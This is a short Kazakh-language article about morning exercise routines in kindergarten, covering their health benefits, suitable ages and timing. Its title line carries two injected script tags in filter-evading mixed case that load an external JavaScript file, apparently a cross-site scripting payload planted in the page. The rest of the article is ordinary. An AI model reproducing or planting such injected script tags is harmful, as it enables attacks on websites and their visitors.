Балабақшада жаттығу<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Барлық белгілі физикалық жаттығулар нығайтады, ағзаға жағымды әсер етеді иммундық жүйесі. Сондықтан жүйелі жаттығулар мен қалыпты жаттығулар өте маңызды. Егер сіз таңертең бірнеше қарапайым жаттығулар жасасаңыз, онда бұл сізге күні бойы қуат пен қуат алуға мүмкіндік береді. Жаттығу әдетін балаларға шамамен 2-3 жастан бастап үйрету керек. Әрине, алдымен жаттығу қысқа болады, 5 минуттан аспайды, бірақ уақыт өте келе ұзақтығын арттыруға болады. Балабақшада зарядтау күн режимінің міндетті бөлігі болып табылады.

Әдетте сабақ таңертең ата-аналар балаларды тәрбиешілерге бергеннен кейін өтеді.
Балабақшада көңілді жаттығу-бұл күннің тамаша бастауы, сергектік заряды, сондай-ақ дене шынықтыруға деген сүйіспеншілікті қалыптастырудың кепілі!